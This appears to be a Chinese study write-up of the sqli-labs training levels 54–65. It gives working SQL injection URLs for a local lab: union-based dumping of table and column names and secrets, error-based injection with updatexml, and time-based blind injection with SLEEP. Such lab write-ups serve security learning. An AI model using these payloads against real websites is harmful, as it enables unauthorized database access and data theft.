从less54开始,都是用来做练习的的,获取密码才能成功,已知数据库名是challenges,并且他的表名,列名,密码都是随机得到,超过规定的提交次数就会重置一次,下面的代码仅以我遇到的值为例
复习:
知识点一:判断闭合方式
SELECT * FROM `users` WHERE id= 1;#整形闭合
SELECT * FROM `users` WHERE id='1'; #单引号闭合
SELECT * FROM `users` WHERE id="1";#双引号闭合
SELECT * FROM `users` WHERE id=(1);#单括号闭合
SELECT * FROM `users` WHERE id=('1');#单引号加括号
SELECT * FROM `users` WHERE id=("1");#双引号加括号
方法:
这一关和less1的考点相同,先获取表名,再获取列名再获取密码
1.爆出所有表名
http://127.0.0.1/sqli-labs/Less-54/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="challenges" --+
2.爆出所有列名
http://127.0.0.1/sqli-labs/Less-54/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="a46x2wj9k8" --+
- 3.得到密码
http://127.0.0.1/sqli-labs/Less-54/?id=-1' union select 1,2,group_concat(secret_FZA6) from a46x2wj9k8 --+
二.less55
本关id是单括号闭合,其他同less54
三.less56
本关id是单引号+单括号闭合,其他同less54
四.less57
本关id是双引号闭合,其他同less54
五.less58
本关id是单引号闭合,不能使用联合注入,但是存在报错信息,所以我们考虑使用报错注入
以获取表名为例(和less5-10完全一样)
http://127.0.0.1/sqli-labs/Less-58/?id=1' and
updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema="challenges"),1)--+
六.less59
本关id是整型闭合,其他同less58
七.less60
本关id是双引号+单括号闭合,其他同less58
八.less61
本关id是单引号+双括号闭合,其他同less58
九.less62
本关id是单引号+单括号闭合,没有报错信息,也不能用联合注入,那就只能用延时注入了
以猜解数据库名为例
http://127.0.0.1/sqli-labs/Less-62/?id=1') and IF(ascii(substr(database(),1,1))=991,1,SLEEP(5))--+
十.less63
本关id是单引号闭合,其他同less62
十一.less64
本关id是双括号闭合,其他同less62
十二.less65
本关id是双引号+单括号闭合,其他同less62